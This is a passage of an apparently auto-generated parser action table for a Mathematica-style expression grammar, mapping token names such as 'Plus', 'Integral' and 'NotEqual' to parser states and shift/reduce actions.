7,-144,81,-146,81,-56,-41,81,-21,81,-97,-96,81,-153,-156,-10,-24,-80,-9,-40,-54,81,-32,81,81,81,-19,81,81,81,-100,81,-145,-61,81,81,-134,81,-20,-42,-50,81,81,-53,-67,-130,-131,-49,81,81,-12,81,-33,81,-82,81,81,81,81,81,-109,-122,81,-138,-176,-151,-168,-154,-150,-108,81,81,81,-135,-149,-129,-128,81,-110,]),'op_Or':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,82,-120,-118,-142,-141,-157,-140,82,82,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,82,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,82,-133,-175,82,-154,-152,-105,-65,-29,-92,82,82,-99,-31,82,82,-48,-52,-59,-43,82,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,82,-66,-63,82,82,-51,82,-6,82,-91,-78,-172,-101,82,82,82,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,82,-56,-41,82,-21,82,-97,-96,82,-153,-156,-10,-24,-80,-9,-40,-54,82,-32,82,82,82,-19,82,82,-3,-100,82,-145,-61,82,82,-134,-102,-20,-42,-50,82,82,-53,-67,-130,-131,-49,-86,82,-12,82,-33,-30,-82,-83,82,-4,82,82,-109,-122,82,-138,-176,-151,-168,-154,-150,-108,82,82,82,-135,-149,-129,-128,82,-110,]),'RuleDelayed':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,142,-120,-118,-142,-141,-157,-140,142,142,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,142,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,142,-133,-175,-162,-154,-152,-105,-65,-29,-92,142,142,-99,-31,-47,142,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,142,-66,-63,142,142,-51,142,-6,142,-91,-78,-172,-101,-72,142,142,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,142,-21,-27,-97,-96,142,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,142,-81,142,-19,-85,142,-3,-100,142,-145,-61,-2,142,-134,-102,-20,-42,-50,142,142,-53,-67,-130,-131,-49,-86,-44,-12,142,-33,-30,-82,-83,142,-4,142,142,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,142,142,142,-135,-149,-129,-128,-160,-110,]),'Plus':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[6,6,-123,6,6,-126,6,6,6,-125,-122,-124,6,6,6,-119,6,6,6,-121,6,6,6,84,6,6,6,-120,-118,6,-142,-141,84,-140,84,6,-179,6,6,84,6,6,-79,84,84,84,6,-127,84,-143,84,-23,84,6,6,6,-16,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,-68,6,6,6,6,6,6,6,6,6,-137,6,6,6,6,-69,6,6,6,6,6,6,6,6,-106,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,-37,6,6,6,6,6,6,6,6,-17,6,-39,6,6,6,6,6,6,-148,6,6,6,-45,-18,6,6,6,6,-36,6,6,6,6,-89,6,6,6,6,6,6,6,6,6,-169,6,6,6,6,6,-107,-22,-132,84,84,6,6,-133,6,-180,6,6,6,6,6,-194,6,-175,84,6,84,-105,-65,84,84,84,84,-99,84,84,84,84,-52,84,84,84,-139,-64,-26,84,84,-8,-13,84,84,84,84,-66,84,84,84,84,84,-6,84,84,-78,-172,84,84,84,84,-171,84,-11,-136,84,-5,-147,-144,84,-146,84,-56,84,84,-21,84,84,-96,84,84,6,-10,-24,-80,-9,84,-54,84,84,84,84,84,-19,84,84,84,-100,84,-145,84,84,84,-134,84,-20,84,84,84,84,-53,-67,-130,-131,84,84,84,-12,84,84,84,6,-82,84,84,84,84,84,-109,6,-122,84,-138,-189,-191,-192,-187,-185,-183,6,-195,-176,84,6,6,-168,6,6,84,-108,84,6,6,6,6,6,-193,84,84,-135,84,-129,-128,84,-188,-190,-186,-184,-110,]),'VerticalTilde':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,64,-120,-118,-142,-141,64,-140,64,64,-79,64,64,64,-156,-127,64,-143,64,-23,64,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,64,64,-133,-175,64,-154,64,-105,64,64,64,64,64,-99,64,64,64,64,-52,64,64,64,64,-64,-26,64,64,64,-13,64,64,64,64,64,64,64,64,64,64,-6,64,64,-78,-172,64,64,64,64,-171,64,64,-136,64,-5,-147,-144,64,-146,64,-56,64,64,64,64,64,-96,64,64,-156,-10,-24,-80,-9,64,64,64,64,64,64,64,64,64,64,64,-100,64,-145,64,64,64,-134,64,-20,64,64,64,64,-53,-67,-130,-131,64,64,64,64,64,64,64,-82,64,64,64,64,64,-109,-122,64,-138,-176,64,-168,-154,64,-108,64,64,64,-135,64,-129,-128,64,-110,]),'DifferentialD':([2,5,9,10,11,16,17,21,30,31,33,34,35,36,37,47,48,49,50,51,52,53,54,55,56,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,-120,-118,-142,-141,-157,-140,187,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,-164,-166,-135,-149,-129,-128,-160,-110,]),'Or':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,86,-120,-118,-142,-141,-157,-140,86,86,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,86,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,86,-133,-175,86,-154,-152,-105,-65,-29,-92,86,86,-99,-31,86,86,-48,-52,-59,-43,86,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,86,-66,-63,86,86,-51,86,-6,86,-91,-78,-172,-101,86,86,86,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,86,-56,-41,86,-21,86,-97,-96,86,-153,-156,-10,-24,-80,-9,-40,-54,86,-32,86,86,86,-19,86,86,-3,-100,86,-145,-61,86,86,-134,-102,-20,-42,-50,86,86,-53,-67,-130,-131,-49,-86,86,-12,86,-33,-30,-82,-83,86,-4,86,86,-109,-122,86,-138,-176,-151,-168,-154,-150,-108,86,86,86,-135,-149,-129,-128,86,-110,]),'Divide':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,143,-120,-118,-142,-141,143,-140,143,143,-79,143,143,143,-156,-127,143,-143,143,-23,143,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,143,-45,-18,-36,-89,-169,-107,-22,-132,143,143,-133,-175,143,-154,143,-105,143,143,143,143,143,143,143,143,143,143,-52,143,143,143,143,-64,-26,143,143,143,143,143,143,143,143,143,143,143,143,143,143,143,143,143,-78,-172,143,143,143,143,-171,143,143,-136,143,-5,143,-144,143,143,143,-56,143,143,143,143,143,143,143,143,-156,-10,143,143,143,143,143,143,143,143,143,143,143,143,143,143,143,143,-145,143,143,143,-134,143,-20,143,143,143,143,-53,-67,-130,-131,143,143,143,143,143,143,143,-82,143,143,143,143,143,-109,-122,143,-138,-176,143,-168,-154,143,-108,143,143,143,-135,143,-129,-128,143,-110,]),'Because':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,87,-120,-118,-142,-141,-157,-140,87,87,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,87,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,87,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,87,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,87,-66,-63,-7,87,-51,-84,-6,87,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,87,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,87,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,87,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,87,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,87,87,87,-135,-149,-129,-128,-160,-110,]),'Semicolon':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,88,-120,-118,-142,-141,-157,-140,88,88,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,88,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,88,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,-94,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,-165,-66,-63,-7,-173,-51,-84,-6,88,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,88,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,-167,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,-170,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,-95,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,88,-164,-166,-135,-149,-129,-128,-160,-110,]),'Less':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,89,-120,-118,-142,-141,89,-140,89,89,-79,89,89,-155,-156,-127,89,-143,89,-23,89,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,89,89,-133,-175,89,-154,-152,-105,-65,-29,-92,89,89,-99,-31,89,89,-48,-52,89,-43,89,-139,-64,-26,89,89,-8,-13,89,-90,89,89,-66,89,89,89,-51,89,-6,89,-91,-78,-172,89,89,89,89,-171,-46,-11,-136,-58,-5,-147,-144,89,-146,89,-56,-41,89,-21,89,-97,-96,89,-153,-156,-10,-24,-80,-9,-40,-54,89,-32,89,89,89,-19,89,89,89,-100,89,-145,-61,89,89,-134,89,-20,-42,-50,89,89,-53,-67,-130,-131,-49,89,89,-12,89,-33,89,-82,89,89,89,89,89,-109,-122,89,-138,-176,-151,-168,-154,-150,-108,89,89,89,-135,-149,-129,-128,89,-110,]),'Integral':([0,1,2,3,4,5,6,7,8,9,10,11,13,14,15,16,17,19,20,21,22,23,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,43,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,97,98,99,100,101,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,183,184,185,186,187,188,189,190,191,192,193,195,196,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,304,305,306,307,308,309,310,311,312,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,335,337,338,339,340,341,342,343,344,345,346,347,348,349,351,352,353,354,355,356,],[7,7,-123,7,7,-126,7,7,7,-125,-122,-124,7,7,7,-119,7,7,7,-121,7,7,7,7,7,7,7,-120,-118,7,7,7,7,7,7,7,-179,7,7,7,7,7,7,7,7,7,7,-127,7,7,7,7,7,7,7,7,-16,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,-68,7,7,7,7,7,7,7,7,7,-137,7,7,7,7,-69,7,7,7,7,7,7,7,7,-106,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,-37,7,7,7,7,7,7,7,7,-17,7,-39,7,7,7,7,7,7,7,7,7,7,-45,-18,7,7,7,7,-36,7,7,7,7,-89,7,7,7,7,7,7,7,7,7,-169,7,7,7,7,7,-107,-22,-132,7,7,7,7,-133,7,-180,7,7,7,7,7,-194,7,-175,7,7,7,-105,7,7,7,7,7,7,7,7,7,7,-52,7,7,7,7,-64,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,-172,7,7,7,7,-171,7,7,-136,7,-5,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,-134,7,7,7,7,7,7,-53,-67,-130,-131,7,7,7,7,7,7,7,7,-82,7,7,7,7,7,-109,7,-122,7,7,-189,-191,-192,-187,-185,-183,7,-195,-176,7,7,7,-168,7,7,7,-108,7,7,7,7,7,7,-193,7,7,-135,7,-129,-128,7,-188,-190,-186,-184,-110,]),'SubtractFrom':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,90,-120,-118,-142,-141,-157,-140,90,90,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,90,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,90,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,90,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,90,-66,-63,90,90,-51,90,-6,90,-91,-78,-172,-101,-72,90,90,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,90,-21,-27,-97,-96,90,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,90,-81,-76,-19,-85,90,-3,-100,-74,-145,-61,-2,90,-134,-102,-20,-42,-50,-75,90,-53,-67,-130,-131,-49,-86,-44,-12,90,-33,-30,-82,-83,90,-4,-70,90,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,90,90,90,-135,-149,-129,-128,-160,-110,]),'RawBackslash':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,91,-120,-118,-142,-141,91,-140,91,91,-79,91,91,91,-156,-127,91,-143,91,-23,91,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,91,-45,-18,-36,-89,-169,-107,-22,-132,91,91,-133,-175,91,-154,91,-105,91,91,91,91,91,91,91,91,91,91,-52,91,91,91,91,-64,-26,91,91,91,91,91,91,91,91,91,91,91,91,91,91,None,91,91,-78,-172,91,91,91,91,-171,91,91,-136,91,-5,91,-144,91,91,91,-56,91,91,91,91,91,91,91,91,-156,-10,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,91,-145,91,91,91,-134,91,-20,91,91,91,91,-53,-67,-130,-131,91,91,91,91,91,91,91,-82,91,91,91,91,91,-109,-122,91,-138,-176,91,-168,-154,91,-108,91,91,91,-135,91,-129,-128,91,-110,]),'TagSet':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,92,-120,-118,-142,-141,-157,-140,92,92,-79,-35,-60,-155,-156,-127,-158,-143,-38,-23,92,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,-159,92,-133,-175,-162,-154,-152,-105,-65,-29,-92,-71,92,-99,-31,-47,-73,-48,-52,-59,-43,-34,-139,-64,-26,-93,-57,-8,-13,-55,-90,-62,92,-66,-63,-7,92,-51,-84,-6,92,-91,-78,-172,-101,-72,-88,-25,-171,-46,-11,-136,-58,-5,-147,-144,-77,-146,-28,-56,-41,92,-21,-27,-97,-96,-87,-153,-156,-10,-24,-80,-9,-40,-54,-15,-32,92,-81,-76,-19,-85,-1,-3,-100,-74,-145,-61,-2,-98,-134,-102,-20,-42,-50,-75,92,-53,-67,-130,-131,-49,-86,-44,-12,-163,-33,-30,-82,-83,92,-4,-70,-14,-109,-122,-161,-138,-176,-151,-168,-154,-150,-108,92,92,92,-135,-149,-129,-128,-160,-110,]),'CircleMinus':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,104,-120,-118,-142,-141,104,-140,104,104,-79,104,104,104,-156,-127,104,-143,104,-23,104,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,104,104,-133,-175,104,-154,104,-105,104,104,104,104,104,-99,104,104,104,104,-52,104,104,104,104,-64,-26,104,104,-8,-13,104,104,104,104,104,104,104,104,104,104,-6,104,104,-78,-172,104,104,104,104,-171,104,-11,-136,104,-5,-147,-144,104,-146,104,-56,104,104,-21,104,104,-96,104,104,-156,-10,-24,-80,-9,104,104,104,104,104,104,104,-19,104,104,104,-100,104,-145,104,104,104,-134,104,-20,104,104,104,104,-53,-67,-130,-131,104,104,104,-12,104,104,104,-82,104,104,104,104,104,-109,-122,104,-138,-176,104,-168,-154,104,-108,104,104,104,-135,104,-129,-128,104,-110,]),'NotEqual':([2,5,9,10,11,16,17,21,26,30,31,33,34,35,36,37,43,47,48,49,50,51,52,53,54,55,56,57,61,85,88,95,101,111,122,127,136,138,145,149,150,155,160,171,177,178,179,180,183,186,197,198,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,305,306,307,308,309,310,311,314,315,316,325,326,329,331,332,335,337,344,345,346,347,348,349,351,356,],[-123,-126,-125,-122,-124,-119,-156,-121,93,-120,-118,-142,-141,93,-140,93,93,-79,93,93,-155,-156,-127,93,-143,93,-23,93,-16,-68,-174,-137,-69,-106,-154,-37,-17,-39,-148,-45,-18,-36,-89,-169,-107,-22,-132,93,93,-133,-175,93,-154,-152,-105,-65,-29,-92,93,93,-99,-31,93,93,-48,-52,93,-43,93,-139,-64,-26,93,93,-8,-13,93,-90,93,93,-66,93,93,93,-51,93,-6,93,-91,-78,-172,93,93,93,93,-171,-46,-11,-136,-58,-5,-147,-144,93,-146,93,-56,-41,93,-21,93,-97,-96,93,-153,-156,-10,-24,-80,-9,-40,-54,93,-32,93,93,93,-19,93,93,93,-100,93,-145,-61,93,93,-134,93,